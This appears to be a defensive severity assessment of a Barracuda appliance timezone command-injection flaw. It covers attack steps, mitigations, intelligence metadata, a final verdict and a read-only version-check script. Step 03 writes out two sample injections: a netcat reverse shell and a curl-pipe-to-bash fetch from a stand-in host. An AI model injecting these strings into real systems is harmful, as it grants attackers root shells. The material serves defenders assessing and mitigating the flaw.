CVE-2026-111560 · Barracuda Appliances timezone config OS command injection as…

01 · The Real Story

The timezone box is a backdoor for anyone holding the admin key

CVE-2026-111560 is an OS command injection in the shared Barracuda appliance code that handles the timezone configuration field. Versions known affected include Barracuda Email Security Gateway (ESG) through 9.4.0.27, Load Balancer / Application Delivery Controller (ADC) through 6.4.0, Web Application Firewall (WAF) through 11.0.1, Web Security Gateway (WSG) through 16.1.100.100, Message Archiver, and WAF Control Center. When an authenticated administrator saves a crafted timezone value containing shell metacharacters, the backend shell later parses it and executes embedded commands with root privileges.

There is no vendor-supplied CVSS score in the official record, so this report sets the baseline. Third-party trackers such as Rapid7 assign CVSS 4.0 8.6 (HIGH), but that scoring does not capture the deployment-role reality: these are network edge and email security gateways. A root shell on an ESG, WAF, or ADC appliance is not a workstation compromise — it is a mass data exposure and security controls bypass event. The verdict below is assessed as CRITICAL, not because the vulnerability is pre-auth, but because a single compromised admin account becomes root on the device that is supposed to inspect, route, or protect the traffic.

"An authenticated admin can turn a timezone string into a root shell on Barracuda security appliances."

02 · The Attack Path

5 steps from start to impact.

STEP 01

Obtain Barracuda administrator credentials

The attacker needs valid admin credentials for the Barracuda management interface. This can be achieved via credential stuffing, password reuse, a prior breach, social engineering, or intercepting an admin session. No public exploit exists yet, so credential compromise is the realistic entry point.

Conditions required:

Management interface reachable from attacker-controlled network
No MFA or MFA bypass for admin account
Credentials known or guessable

Where this breaks in practice:

Most Barracuda management UIs should be restricted to internal networks or VPN
MFA on admin accounts is common, though not universal
Failed login monitoring may alert on brute force

Detection/coverage: SIEM for admin login anomalies, conditional access, PAM session recording

STEP 02

Locate the timezone configuration page

Once authenticated as admin, the attacker navigates to the system timezone settings in the Barracuda web UI. This page is part of the shared appliance code across affected products. The field is intended to accept values like 'America/New_York' but lacks shell metacharacter filtering.

Conditions required:

Valid unexpired admin session
Vulnerable common Barracuda code version

Where this breaks in practice:

If management UI is not exposed, attacker must already be inside the network
Some deployments may disable timezone changes after initial setup

Detection/coverage: Web application logs for GET/POST to timezone configuration endpoints

STEP 03

Inject shell metacharacters in the timezone value

The attacker submits a timezone string such as America/New_York; nc -e /bin/sh 10.0.0.5 4444 or $(curl http://evil/rev.sh|bash). The application stores the value without sanitization. No exploit code is public; the attacker would use the built-in web form or a crafted POST request with their existing session token.

Conditions required:

Admin privileges sufficient to modify timezone
Input validation absent (as described)

Where this breaks in practice:

Admin activity may be audited if change management is enforced
Some UI versions may validate against a fixed timezone list; affected builds do not

Detection/coverage: Content inspection on config changes; alert on metacharacters in timezone field

STEP 04

Trigger processing of the crafted timezone

The command executes when the appliance subsequently processes the timezone value — often immediately upon apply, during a scheduled sync, or when a service reloads. Because the parser invokes a shell, the embedded command runs with root privileges, not with the admin user's service account.

Conditions required:

Saved timezone value is processed by backend shell
Shell executes with root privileges

Where this breaks in practice:

Timing may vary by product; admin may need to apply or reboot in some flows
Host-based EDR is rarely present on network appliances

Detection/coverage: System call auditing, HIDS, or outbound network connection monitoring from the appliance

STEP 05

Establish root persistence and pivot

With root execution, the attacker can install a backdoor, read or exfiltrate email and traffic, extract credentials from configuration, tamper with security policies, and use the appliance as a foothold into the internal network. On an email security gateway, this means access to message content and attachments; on a WAF/ADC, it means the ability to bypass or alter the very controls that protect applications.

Conditions required:

Outbound connectivity from appliance to attacker infrastructure
No egress filtering or DLP on appliance traffic

Where this breaks in practice:

Network segmentation may limit reach from appliance to high-value segments
Admins may notice service interruptions or config drift

Detection/coverage: Network anomaly detection, EDR if deployed, SIEM correlation on appliance-to-internal traffic

03 · Compensating Control

CRITICAL 9.0→HIGH 8.0

SEVERITY REDUCED

Restrict management access to a dedicated management VLAN with MFA and JIT admin — Move all Barracuda admin UIs behind VPN or a hardened jump host, enforce MFA, and use short-lived admin accounts. This shrinks the reachable population but does not stop a credential-compromised internal admin; deploy within 3 days (noisgate mitigation SLA for CRITICAL).

CRITICAL 9.0→HIGH 7.5

SEVERITY REDUCED

Monitor and alert on timezone/config field changes containing shell metacharacters — Instrument application/config logs to detect values with ;, |, $, backticks, or &&. An alert gives time to kill the session before command processing; use as a compensating detection control until patch.

CRITICAL 9.0→IGNORE 0.0

SEVERITY REDUCED

Apply Barracuda hotfix/upgrade when available — No patched version is published yet; track Barracuda's advisory and apply the fix no later than 90 days after release (noisgate remediation SLA for CRITICAL). This directly removes the unsanitized shell parsing.

CRITICAL 9.0→HIGH 7.8

SEVERITY REDUCED

Disable or lock down timezone modification for most admin roles — Where product supports RBAC, restrict timezone changes to a tiny set of break-glass accounts and require a change ticket. This reduces the number of accounts that can inject, though it does not fix the code.

What doesn't work

A WAF or NGFW in front of the management UI will not block the attack once the attacker holds valid session tokens; the malicious string travels inside an authenticated POST.
Network segmentation alone doesn't prevent root compromise if an attacker already has admin access to the appliance; it only limits post-exploitation pivot.
Host-based antivirus/EDR is typically not deployed on Barracuda appliances, so signature-based detection is unreliable.

04 · Intelligence Metadata

The supporting signals.

In-the-wild status	No known active exploitation; not in CISA KEV as of 2026-11-02.
PoC availability	No public PoC or exploit code; VulDB states 'There is not any exploit available.'
EPSS	No EPSS score/percentile published yet at time of assessment.
KEV status	Not listed in CISA Known Exploited Vulnerabilities.
CVSS vector / third-party score	Rapid7 reports CVSS 4.0 Base Score 8.6 (HIGH); no vendor CVSS vector included in CVE record.
Affected versions	ESG ≤ 9.4.0.27; ADC ≤ 6.4.0; WAF ≤ 11.0.1; WSG ≤ 16.1.100.100; BMA and WAC affected.
Fixed versions	No vendor patch or fixed version published in the available sources yet.
Scanning / exposure	No public GreyNoise/Shodan/Censys counts identified; Barracuda management interfaces should only be reachable from internal management networks.
Disclosure date	2026-11-02
CNA / reporter	CNA assigned as `[email protected]`; reporting researcher not disclosed.

Sources.

05 · The Call

Final Verdict

= UNCHANGED to CRITICAL (9.0/10)

Why this verdict

Role multiplier: Barracuda ESG, WAF, and ADC are canonical network edge / email security gateways; root compromise yields mass email/data egress, security control tampering, and possible credential theft from appliance configs. This meets the CRITICAL floor for high-value-role components.
Authenticated admin precondition: The only meaningful friction is obtaining admin credentials, but that is not a mitigant against impact — a single admin account breach becomes a root shell on a security device.
No vendor baseline: The record contains no CVSS score, so this is an assessed severity; third-party CVSS 4.0 8.6 (HIGH) underestimates the deployment-role blast radius.

Why not higher?

The score is 9.0 rather than 10.0 because the vulnerability is not pre-authentication: an attacker must first obtain valid administrator credentials, and no public exploit exists yet. There is also no evidence of active exploitation or KEV listing.

Why not lower?

This cannot be set below CRITICAL because the affected products are high-value network/email security appliances. Root on an ESG or WAF is not a host-level nuisance; it is a platform for mass data access and control bypass, which the deployment-role floor explicitly treats as CRITICAL.

06 · Verification

Crowdsourced verification payload.

Run on the Barracuda appliance itself via SSH as a read-only administrative user (or root). Save the script as check_barracuda_cve_2026_111560.sh, make it executable, and invoke with ./check_barracuda_cve_2026_111560.sh. It attempts to identify the product and version from standard Barracuda files and compares against known affected ranges.

noisgate-verify.sh

BASHREAD-ONLYSAFE

#!/bin/bash
set -u
VERDICT="UNKNOWN"
version=""
product=""
for f in /etc/barracuda-release /etc/version /etc/image_version /etc/issue; do
  if [ -r "$f" ]; then
    v="$(grep -Eio 'barracuda[^0-9]*[0-9][0-9.]*' "$f" 2>/dev/null | head -1)"
    if [ -n "$v" ]; then
      product="$(echo "$v" | sed -E 's/[0-9].*//' | tr '[:upper:]' '[:lower:]' | sed 's/[^a-z ]//g')"
      version="$(echo "$v" | grep -Eo '[0-9][0-9.]*')"
      break
    fi
  fi
done
if [ -z "$version" ]; then
  echo "UNKNOWN: could not determine Barracuda product/version from common files."
  exit 3
fi
case "$product" in
  *email*security*gateway*|*esg*) [ "$(printf '%s\n%s\n' "$version" 9.4.0.27 | sort -V | tail -1)" = "9.4.0.27" ] && VERDICT="VULNERABLE" || VERDICT="PATCHED" ;;
  *load*balancer*|*application*delivery*|*adc*) [ "$(printf '%s\n%s\n' "$version" 6.4.0 | sort -V | tail -1)" = "6.4.0" ] && VERDICT="VULNERABLE" || VERDICT="PATCHED" ;;
  *web*application*firewall*|*waf*) [ "$(printf '%s\n%s\n' "$version" 11.0.1 | sort -V | tail -1)" = "11.0.1" ] && VERDICT="VULNERABLE" || VERDICT="PATCHED" ;;
  *web*security*gateway*|*wsg*) [ "$(printf '%s\n%s\n' "$version" 16.1.100.100 | sort -V | tail -1)" = "16.1.100.100" ] && VERDICT="VULNERABLE" || VERDICT="PATCHED" ;;
  *message*archiver*|*bma*) echo "UNKNOWN: Message Archiver affected version range not fully published; check Barracuda advisory."; exit 3 ;;
  *) echo "UNKNOWN: unrecognized product '$product'; verify manually."; exit 3 ;;
esac
echo "$VERDICT"
if [ "$VERDICT" = "VULNERABLE" ]; then exit 1; elif [ "$VERDICT" = "PATCHED" ]; then exit 0; else exit 3; fi